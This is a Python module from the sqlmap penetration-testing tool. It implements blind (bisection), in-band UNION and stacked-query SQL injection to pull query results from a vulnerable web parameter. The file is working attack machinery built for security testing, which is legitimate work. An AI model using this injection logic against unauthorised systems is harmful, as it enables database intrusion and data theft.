#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import re import time from lib.core.agent import agent from lib.core.common import cleanQuery from lib.core.common import dataToSessionFile from lib.core.common import expandAsteriskForColumns from lib.core.common import parseUnionPage from lib.core.common import readInput from lib.core.common import replaceNewlineTabs from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.data import temp from lib.core.settings import SECONDS from lib.request.connect import Connect as Request from lib.techniques.inband.union.use import unionUse from lib.techniques.blind.inference import bisection from lib.utils.resume import queryOutputLength from lib.utils.resume import resume def __goInference(payload, expression): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) count, value = bisection(payload, expression, length=length) duration = int(time.time() - start) if conf.eta and length: infoMsg = "retrieved: %s" % value logger.info(infoMsg) infoMsg = "performed %d queries in %d seconds" % (count, duration) logger.info(infoMsg) return value def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None): outputs = [] for field in expressionFieldsList: output = None expressionReplaced = expression.replace(expressionFields, field, 1) output = resume(expressionReplaced, payload) if not output or ( expected == "int" and not output.isdigit() ): if output: warnMsg = "expected value type %s, resumed '%s', " % (expected, output) warnMsg += "sqlmap is going to retrieve the value again" logger.warn(warnMsg) output = __goInference(payload, expressionReplaced) outputs.append(output) return outputs def __goInferenceProxy(expression, fromUser=False, expected=None): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ query = agent.prefixQuery(" %s" % temp.inference) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = [] test = None untilLimitChar = None untilOrderChar = None output = resume(expression, payload) if output and ( expected == None or ( expected == "int" and output.isdigit() ) ): return output if kb.dbmsDetected: _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) if limitRegExp: if kb.dbms in ( "MySQL", "PostgreSQL" ): limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStop = queries[kb.dbms].limitgroupstop if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ( "MySQL", "PostgreSQL" ): stopLimit += startLimit untilLimitChar = expression.index(queries[kb.dbms].limitstring) expression = expression[:untilLimitChar] if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): test = "n" else: message = "can the SQL query provided return " message += "multiple entries? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, payload) if not stopLimit: if not count or not count.isdigit(): count = __goInference(payload, countedExpression) if count and count.isdigit() and int(count) > 0: count = int(count) message = "the SQL query provided can return " message += "up to %d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit\nChoice: " test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): return "Quit" elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "How many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "Invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "Invalid choice" logger.error(errMsg) return None elif ( not count or int(count) == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None for num in xrange(startLimit, stopLimit): limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected) outputs.append(output) return outputs elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) returnValue = ", ".join([output for output in outputs]) else: returnValue = __goInference(payload, expression) return returnValue def __goInband(expression, expected=None): """ Retrieve the output of a SQL query taking advantage of an inband SQL injection vulnerability on the affected parameter. """ output = None partial = False data = [] condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition: output = resume(expression, None) if not output or ( expected == "int" and not output.isdigit() ): partial = True if not output: output = unionUse(expression, resetCounter=True) if output: data = parseUnionPage(output, expression, partial, condition) return data def getValue(expression, blind=True, inband=True, fromUser=False, expected=None): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ expression = cleanQuery(expression) expression = expandAsteriskForColumns(expression) value = None if inband and conf.unionUse and kb.dbms: value = __goInband(expression, expected) if not value: warnMsg = "for some reasons it was not possible to retrieve " warnMsg += "the query output through inband SQL injection " warnMsg += "technique, sqlmap is going blind" logger.warn(warnMsg) conf.paramNegative = False if blind and not value: value = __goInferenceProxy(expression, fromUser, expected) return value def goStacked(expression): """ TODO: write description """ comment = queries[kb.dbms].comment query = agent.prefixQuery("; %s" % expression) query = agent.postfixQuery("%s;%s" % (query, comment)) payload = agent.payload(newValue=query) page = Request.queryPage(payload, content=True) return payload, page